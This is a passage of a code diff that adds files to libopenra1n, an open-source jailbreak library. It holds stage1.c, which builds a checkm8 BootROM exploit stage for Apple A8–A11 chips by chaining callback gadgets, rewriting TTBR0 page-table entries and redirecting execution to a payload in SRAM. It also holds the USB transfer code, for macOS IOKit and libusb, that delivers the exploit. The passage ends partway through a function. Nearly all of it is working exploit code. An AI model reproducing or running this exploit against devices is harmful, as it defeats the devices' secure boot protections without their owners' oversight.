+        memset(p_data, '\0', w_len);
+        result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout);
+        free(p_data);
+    }
+
+    return result;
+}

1stparty/libopenra1n/src/stage1.c

@@ -0,0 +1,250 @@
+/*
+ * ra1npoc - https://github.com/kok3shidoll/ra1npoc
+ *
+ * Copyright (C) 2021 - 2023 kok3shidoll
+ *
+ * SPDX-License-Identifier: MIT
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ *
+ */
+
+#include <stage1.h>
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+
+#include <payload.h>
+
+#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
+
+// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
+bool generate_stage1(
+    void** outbuf,
+    size_t* outlen,
+    void* payload,
+    size_t payload_sz,
+    struct DeviceConfiguration *deviceConfig,
+    struct PayloadConfiguration *payloadConfig
+) {
+    bool wnx = false;
+    uint64_t write_gadget = 0;
+    uint32_t write_val = 0;
+
+    uint64_t base_address = payloadConfig->insecure_memory_base;
+
+    if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
+    {
+        wnx = true;
+    }
+
+    size_t presize = wnx == true ? 0x800 : 0xc0;
+    void *buf = malloc(presize);
+
+    uint32_t nextOffset = 0;
+    unsigned char* nextBuf = NULL;
+    dfu_callback_t* cb = (dfu_callback_t*)buf;
+    nextBuf = buf;
+
+    uint32_t current_size = 0;
+    int count = 0;
+
+    #define PUSH(end, func, arg0, arg1)                                         \
+    {                                                                           \
+        count++;                                                                \
+        current_size = nextOffset + sizeof(dfu_callback_t);                     \
+        if(!(current_size > (wnx == true ? 0x800 : 0xc0)))                      \
+        {                                                                       \
+            cb->callback = payloadConfig->func_gadget;                          \
+            if(count%3 == 0)                                                    \
+                nextOffset += 0x80;                                             \
+            else                                                                \
+                nextOffset += 0x20;                                             \
+            if(!end)cb->next = base_address + nextOffset;                       \
+            uint64_t* ptr = (uint64_t*)(cb);                                    \
+            uint32_t* ptr32 = (uint32_t*)(cb);                                  \
+            ptr[15] = func;                                                     \
+            if(func == payloadConfig->write_prim)                               \
+            {                                                                   \
+                ptr[14] = (uint64_t)(arg0 - 4);                                 \
+                ptr32[5] = (uint32_t)arg1;                                      \
+            }                                                                   \
+            else if(func == payloadConfig->write_prim2)                         \
+            {                                                                   \
+                ptr[14] = (uint64_t)arg0;                                       \
+                ptr32[5] = (uint32_t)arg1;                                      \
+            }                                                                   \
+            else if(func == payloadConfig->write_ttbr0)                         \
+            {                                                                   \
+                ptr[14] = (uint64_t)arg0;                                       \
+            }                                                                   \
+            else if(func == payloadConfig->arm_clean_invalidate_dcache_line)    \
+            {                                                                   \
+                ptr[14] = (uint64_t)arg0;                                       \
+            }                                                                   \
+            nextBuf = (unsigned char*)(buf + nextOffset);                       \
+            cb = (dfu_callback_t*)nextBuf;                                      \
+        }                                                                       \
+        else                                                                    \
+        {                                                                       \
+            goto fail;                                                          \
+        }                                                                       \
+    }                                                                           \
+
+    if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
+    {
+        write_gadget = payloadConfig->write_prim;
+    }
+    else
+    {
+        write_gadget = payloadConfig->write_prim2;
+    }
+
+    uint64_t vrom_address = 0x100000000;
+    uint64_t sram_address = 0x180000000;
+    uint64_t new_va       = 0x142000000; // post-exploit
+    uint32_t vrom_off     = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
+    uint32_t new_off      = (new_va       >> ARM_16K_TT_L2_SHIFT) * 8;
+    uint32_t sram_off     = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
+
+    uint64_t sram_rx_va  = 0x140000000; // execute payload
+    uint64_t sram_rw_va  = 0x142000000; // custom ttbr
+    uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
+    uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
+
+    uint64_t vrom_rw_va  = 0x144000000;
+    uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
+
+    if(wnx) // only A9X-A11
+    {
+        // VROM: 0x100000000
+        uint64_t vrom_bit = vrom_address | 0x6a5;
+        uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
+        uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
+
+        // Newp: 0x142000000
+        uint64_t new_bit = sram_address | 0x621; // pa
+        new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
+        new_bit |= (1uL << 53); // PXN
+        new_bit |= (1uL << 54); // XN
+        uint32_t new_bit_lower  = (uint32_t)(new_bit & 0xffffffff);
+        uint32_t new_bit_upper  = (uint32_t)(new_bit >> 32);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
+
+        // Newp: 0x144000000
+        uint64_t new_bit_2 = sram_address | 0x621; // pa
+        new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
+        new_bit_2 |= (1uL << 53); // PXN
+        new_bit_2 |= (1uL << 54); // XN
+        uint32_t new_bit_lower_2  = (uint32_t)(new_bit_2 & 0xffffffff);
+        uint32_t new_bit_upper_2  = (uint32_t)(new_bit_2 >> 32);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
+
+        // SRAM: 0x180000000
+        uint64_t sram_bit = sram_address | 0x3;
+        sram_bit |= (1uL << 63); // NS
+        if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
+        if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
+        if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
+        if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
+        if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
+        uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
+        uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
+        PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
+    }
+
+    if(wnx)
+    {
+        write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
+    }
+    else
+    {
+        write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
+    }
+    PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
+
+    if(wnx) // only A9X-A11
+    {
+        PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
+        PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off  & ~0xff), 0);
+        PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
+    }
+    PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
+    PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
+
+    if(wnx) // only A9X-A11
+    {
+        uint64_t sram_rx_bit = sram_address | 0x6a5;
+        uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
+        uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
+
+        uint64_t sram_rw_bit = sram_address | 0x621;
+        sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
+        sram_rw_bit |= (1uL << 53); // PXN
+        sram_rw_bit |= (1uL << 54); // XN
+        uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
+        uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
+
+        uint64_t vrom_rw_bit = vrom_address | 0x621;
+        vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
+        vrom_rw_bit |= (1uL << 53); // PXN
+        vrom_rw_bit |= (1uL << 54); // XN
+        uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
+        uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
+
+        PUSH(0, payloadConfig->enter_critical_section, 0, 0);
+        PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
+        PUSH(0, payloadConfig->tlbi, 0, 0);
+
+        PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
+        PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
+
+        PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
+        PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
+
+        PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
+        PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
+
+        PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
+        PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
+        PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
+        PUSH(0, payloadConfig->tlbi, 0, 0);
+        PUSH(1, payloadConfig->exit_critical_section, 0, 0);
+    }
+
+    *outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
+    *outbuf = malloc(*outlen);
+
+    memset(*outbuf, 0x0, *outlen);
+    memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
+    memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
+    if(buf) free(buf);
+    return true;
+
+fail:
+    if(buf) free(buf);
+    return false;
+}

1stparty/libopenra1n/src/usb_iokit.c

@@ -0,0 +1,342 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __APPLE__
+
+#include <usb_iokit.h>
+
+#include <stdbool.h>
+
+#include <CommonCrypto/CommonCrypto.h>
+#include <CoreFoundation/CoreFoundation.h>
+#include <IOKit/IOCFPlugIn.h>
+#include <IOKit/usb/IOUSBLib.h>
+
+#include <utils.h>
+
+static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
+    CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
+
+    if(cf_val != NULL) {
+        CFDictionarySetValue(dict, key, cf_val);
+        CFRelease(cf_val);
+    }
+}
+
+bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
+    IOCFPlugInInterface **plugin_interface;
+    SInt32 score;
+    bool ret = false;
+
+    if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
+        ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
+        IODestroyPlugInInterface(plugin_interface);
+    }
+
+    IOObjectRelease(serv);
+    return ret;
+}
+
+static bool open_usb_interface(usb_handle_t *handle) {
+    IOUSBFindInterfaceRequest req;
+    io_iterator_t iter;
+    io_service_t intfServ;
+    IOReturn kr;
+
+    req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
+    req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
+    req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
+    req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
+
+    kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
+    if(kr != kIOReturnSuccess) return false;
+
+    while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
+        IOCFPlugInInterface **plugin = NULL;
+        IOUSBInterfaceInterface245 **intf = NULL;
+        SInt32 score = 0;
+        HRESULT res;
+
+        kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
+
+        IOObjectRelease(intfServ);
+
+        if(kr != kIOReturnSuccess || !plugin) continue;
+
+        res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
+
+        (*plugin)->Release(plugin);
+
+        if(res != S_OK || !intf) continue;
+
+        kr = (*intf)->USBInterfaceOpen(intf);
+        if(kr != kIOReturnSuccess) {
+            (*intf)->Release(intf);
+            continue;
+        }
+
+        handle->interface = intf;
+        IOObjectRelease(iter);
+        return true;
+    }
+
+    IOObjectRelease(iter);
+    return false;
+}
+
+void close_usb_handle(usb_handle_t *handle) {
+    if(handle->async_event_source) {
+        CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
+        CFRelease(handle->async_event_source);
+        handle->async_event_source = NULL;
+    }
+
+    if(handle->interface) {
+        (*handle->interface)->USBInterfaceClose(handle->interface);
+        (*handle->interface)->Release(handle->interface);
+        handle->interface = NULL;
+    }
+
+    if(handle->device) {
+        (*handle->device)->USBDeviceClose(handle->device);
+        (*handle->device)->Release(handle->device);
+        handle->device = NULL;
+    }
+}
+
+bool open_usb_device(io_service_t serv, usb_handle_t *handle)
+{
+    if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false;
+
+    IOReturn kr;
+
+    for (int i = 0; i < 10; i++) {
+        kr = (*handle->device)->USBDeviceOpenSeize(handle->device);
+
+        if (kr == kIOReturnSuccess) break;
+        if (kr != kIOReturnExclusiveAccess) goto fail;
+
+        usleep(100000);
+    }
+
+    if (kr != kIOReturnSuccess) goto fail;
+
+    kr = (*handle->device)->SetConfiguration(handle->device, 1);
+
+    if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail;
+
+    kr = (*handle->device)->CreateDeviceAsyncEventSource(
+        handle->device,
+        &handle->async_event_source
+    );
+
+    if (kr != kIOReturnSuccess) goto fail;
+
+    CFRunLoopAddSource(
+        CFRunLoopGetCurrent(),
+        handle->async_event_source,
+        kCFRunLoopDefaultMode
+    );
+
+    if (!open_usb_interface(handle)) goto fail;
+
+    return true;
+fail:
+    close_usb_handle(handle);
+    return false;
+}
+
+bool wait_usb_handle(usb_handle_t *handle) {
+    CFMutableDictionaryRef matching_dict;
+    io_iterator_t iter;
+    io_service_t serv;
+
+    matching_dict = IOServiceMatching(kUSBDeviceClassName);
+    if (matching_dict == NULL) {
+        return false;
+    }
+
+    cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
+    cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
+
+    if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) {
+        return false;
+    }
+
+    while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
+        if (open_usb_device(serv, handle)) {
+            IOObjectRelease(iter);
+            return true;
+        }
+    }
+
+    IOObjectRelease(iter);
+    return false;
+}
+
+void reset_usb_handle(usb_handle_t *handle) {
+    if(handle->device) {
+        (*handle->device)->ResetDevice(handle->device);
+        (*handle->device)->USBDeviceReEnumerate(handle->device, 0);
+    }
+}
+
+transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->interface) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    IOUSBDevRequestTO req = {
+        .wLenDone = 0,
+        .pData = p_data,
+        .bRequest = b_request,
+        .bmRequestType = bm_request_type,
+        .wLength = OSSwapLittleToHostInt16(w_len),
+        .wValue = OSSwapLittleToHostInt16(w_value),
+        .wIndex = OSSwapLittleToHostInt16(w_index),
+        .completionTimeout = USB_TIMEOUT,
+        .noDataTimeout = USB_TIMEOUT,
+    };
+
+    IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
+
+    if(ret == kIOReturnSuccess) {
+        result.sz = req.wLenDone;
+        result.ret = USB_TRANSFER_OK;
+    } else if(ret == kUSBPipeStalled) {
+        result.ret = USB_TRANSFER_STALL;
+    } else {
+        result.ret = USB_TRANSFER_ERROR;
+    }
+
+    return result;
+}
+
+static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
+    transfer_ret_t *transfer_ret = refcon;
+
+    if(transfer_ret != NULL) {
+        memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
+
+        if(ret == kIOReturnSuccess) {
+            transfer_ret->ret = USB_TRANSFER_OK;
+        } else if(ret == kUSBPipeStalled) {
+            transfer_ret->ret = USB_TRANSFER_STALL;
+        } else {
+            transfer_ret->ret = USB_TRANSFER_ERROR;
+        }
+    }
+
+    CFRunLoopStop(CFRunLoopGetCurrent());
+}
+
+transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->interface) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    IOUSBDevRequestTO req = {
+        .wLenDone = 0,
+        .pData = p_data,
+        .bRequest = b_request,
+        .bmRequestType = bm_request_type,
+        .wLength = OSSwapLittleToHostInt16(w_len),
+        .wValue = OSSwapLittleToHostInt16(w_value),
+        .wIndex = OSSwapLittleToHostInt16(w_index),
+        .completionTimeout = USB_TIMEOUT,
+        .noDataTimeout = USB_TIMEOUT,
+    };
+
+    if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) {
+        sleep_ms(usb_abort_timeout);
+
+        if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
+            CFRunLoopRun();
+            return result;
+        }
+    }
+
+    return result;
+}
+
+transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->interface) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    IOUSBDevRequest req = {
+        .bmRequestType = bm_request_type,
+        .bRequest = b_request,
+        .wValue = w_value,
+        .wIndex = w_index,
+        .wLength = (UInt16)w_len,
+        .pData = p_data,
+    };
+
+    IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
+
+    result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
+    result.sz = req.wLenDone;
+
+    return result;
+}
+
+transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->interface) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
+
+    result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
+    result.sz = len;
+
+    return result;
+}
+
+void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid)
+{
+    handle->vid = vid;
+    handle->pid = pid;
+    handle->serv = IO_OBJECT_NULL;
+    handle->device = NULL;
+    handle->interface = NULL;
+    handle->async_event_source = NULL;
+}
+
+#endif

1stparty/libopenra1n/src/usb_libusb.c

@@ -0,0 +1,277 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APPLE__
+
+#include <usb_libusb.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+
+#include <libusb-1.0/libusb.h>
+
+#include <utils.h>
+
+void close_usb_handle(usb_handle_t *handle) {
+    #if _WIN32
+    libusb_release_interface(handle->device, 0);
+    #endif
+    libusb_close(handle->device);
+    libusb_exit(NULL);
+}
+
+void reset_usb_handle(const usb_handle_t *handle) {
+    libusb_reset_device(handle->device);
+}
+
+bool wait_usb_handle(usb_handle_t *handle) {
+    if (libusb_init(NULL) != LIBUSB_SUCCESS) {
+        return false;
+    }
+
+    handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid);
+    if (handle->device == NULL) {
+        return false;
+    }
+
+    #if _WIN32
+    libusb_set_auto_detach_kernel_driver(handle->device, 1);
+
+    if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
+        libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) {
+        if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
+            return true;
+        }
+    }
+    #else
+    if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
+        return true;
+    }
+    #endif
+
+    libusb_close(handle->device);
+    return false;
+}
+
+void usb_async_cb(struct libusb_transfer *transfer) {
+    *(int *)transfer->user_data = 1;
+}
+
+transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->device) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
+
+    if(ret >= 0) {
+        result.sz = (uint32_t)ret;
+        result.ret = USB_TRANSFER_OK;
+    } else if(ret == LIBUSB_ERROR_PIPE) {
+        result.ret = USB_TRANSFER_STALL;
+        result.sz = 0;
+    } else {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+    }
+
+    return result;
+}
+
+transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
+    transfer_ret_t result;
+
+    if(!handle || !handle->device) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    struct libusb_transfer *transfer = libusb_alloc_transfer(0);
+    struct timeval tv;
+    int completed = 0;
+    uint8_t *buf;
+
+    if(transfer != NULL) {
+        if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
+            if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
+                memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
+            }
+            libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
+            libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
+            if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
+                tv.tv_sec = usb_abort_timeout / 1000;
+                tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
+                while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
+                    libusb_cancel_transfer(transfer);
+                }
+                if(completed != 0) {
+                    if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
+                        memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
+                    }
+                    result.sz = (uint32_t)transfer->actual_length;
+                    if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
+                        result.ret = USB_TRANSFER_OK;
+                    } else if(transfer->status == LIBUSB_TRANSFER_STALL) {
+                        result.ret = USB_TRANSFER_STALL;
+                    } else {
+                        result.ret = USB_TRANSFER_ERROR;
+                    }
+                }
+            }
+            free(buf);
+        }
+        libusb_free_transfer(transfer);
+    }
+
+    if(completed == 0) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+    }
+
+    return result;
+}
+
+transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len)
+{
+    transfer_ret_t result;
+
+    if(!handle || !handle->device) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
+
+    if(ret >= 0) {
+        result.sz = (uint32_t)ret;
+        result.ret = USB_TRANSFER_OK;
+    } else if(ret == LIBUSB_ERROR_PIPE) {
+        result.ret = USB_TRANSFER_STALL;
+        result.sz = 0;
+    } else {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+    }
+
+    return result;
+}
+
+transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
+{
+    transfer_ret_t result;
+
+    if(!handle || !handle->device) {
+        result.ret = USB_TRANSFER_ERROR;
+        result.sz = 0;
+        return result;
+    }
+
+    static uint32_t maxLen = 0;
+    int transferred = 0;
+    int ret;
+
+    if(maxLen == 0)
+    {
+        ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
+        if(ret == LIBUSB_SUCCESS)
+        {
+            result.ret = USB_TRANSFER_OK;
+            result.sz = transferred;
+            return result;
+        }
+        else if(ret != LIBUSB_ERROR_NO_MEM)
+        {
+            result.ret = USB_TRANSFER_ERROR;
+            result.sz = transferred;
+            return result;
+        }
+        #if defined(__linux__)
+        // We only get here on ENOMEM
+        FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
+        if(f)
+        {
+            char str[32]; // More than enough to hold a uint64 in decimal
+            size_t s = fread(str, 1, sizeof(str), f);
+            fclose(f);
+            if(s == 0 || s >= sizeof(str)) {
+                result.ret = USB_TRANSFER_ERROR;
+                result.sz = transferred;
+                return result;
+            }
+            str[s] = '\0';
+            char *end = NULL;
+            unsigned long long max = strtoull(str, &end, 0);
+            // Using the limit as-is will lead to ENOMEM, so we multiply
+            // by half a MB and impose an appropriate max value.
+            if(*end == '\n') ++end;
+            if(*end != '\0' || max == 0 || max >= 0x2000) {
+                result.ret = USB_TRANSFER_ERROR;
